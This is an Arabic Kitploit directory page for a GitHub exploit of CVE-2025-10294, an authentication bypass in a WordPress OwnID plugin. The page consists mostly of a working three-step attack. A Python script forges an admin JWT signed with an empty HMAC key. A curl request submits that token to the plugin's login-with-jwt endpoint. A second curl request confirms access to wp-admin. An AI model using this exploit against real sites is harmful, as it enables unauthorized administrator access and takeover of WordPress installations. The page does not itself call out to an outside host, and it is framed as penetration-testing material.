Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-10294 — استغلال لـ CVE-2025-10294: تجاوز المصادقة عبر مفتاح HMAC فارغ في ownid_shared_secret، مما يتيح تزوير JWT والوصول غير المصرح به إلى لوحة تحكم ووردبريس. | Kitploit
أدوات/GitHubGitHub/jfriedli/cve-2025-10294
المصادقة والترخيصتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubjfriedli/cve-2025-10294

CVE-2025-10294

استغلال لـ CVE-2025-10294: تجاوز المصادقة عبر مفتاح HMAC فارغ في ownid_shared_secret، مما يتيح تزوير JWT والوصول غير المصرح به إلى لوحة تحكم ووردبريس.

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة: تجاوز المصادقة عبر ownid_shared_secret فارغ (تزوير JWT)

1) تزوير JWT صالح باستخدام مفتاح HMAC فارغ

root@kitploit:~
SUB=<ADMIN_USER_ID>

SUB="$SUB" python3 - <<'PY' > /tmp/jwt.txt
import base64, hmac, hashlib, json, time, os

b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()

header = b64u(json.dumps({"typ":"JWT","alg":"HS256"}, separators=(",",":")).encode())
payload = b64u(json.dumps({
    "sub": int(os.environ["SUB"] or "1"),
    "exp": int(time.time()) + 600
}, separators=(",",":")).encode())

signature = hmac.new(b"", f"{header}.{payload}".encode(), hashlib.sha256).digest()  # EMPTY KEY

print(f"{header}.{payload}.{b64u(signature)}")
PY

JWT=$(cat /tmp/jwt.txt)

2) إرسال JWT المزور إلى نقطة نهاية تسجيل الدخول

root@kitploit:~
curl -i -sS \
  -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:118.0) Gecko/20100101 Firefox/118.0" \
  -c /tmp/cookies.txt -b /tmp/cookies.txt \
  -X POST "http://localhost/wordpress/wp-json/ownid/v1/login-with-jwt" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "jwt=$JWT" \
  -L

3) التحقق من نجاح تجاوز المصادقة

root@kitploit:~
curl -sS \
  -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:118.0) Gecko/20100101 Firefox/118.0" \
  -c /tmp/cookies.txt -b /tmp/cookies.txt \
  "http://localhost/wordpress/wp-admin/" | \
  grep -E -m1 'id="wpadminbar"|wp-admin-bar-my-account' && \
  echo "[+] Auth bypass worked"
تنزيل الأداة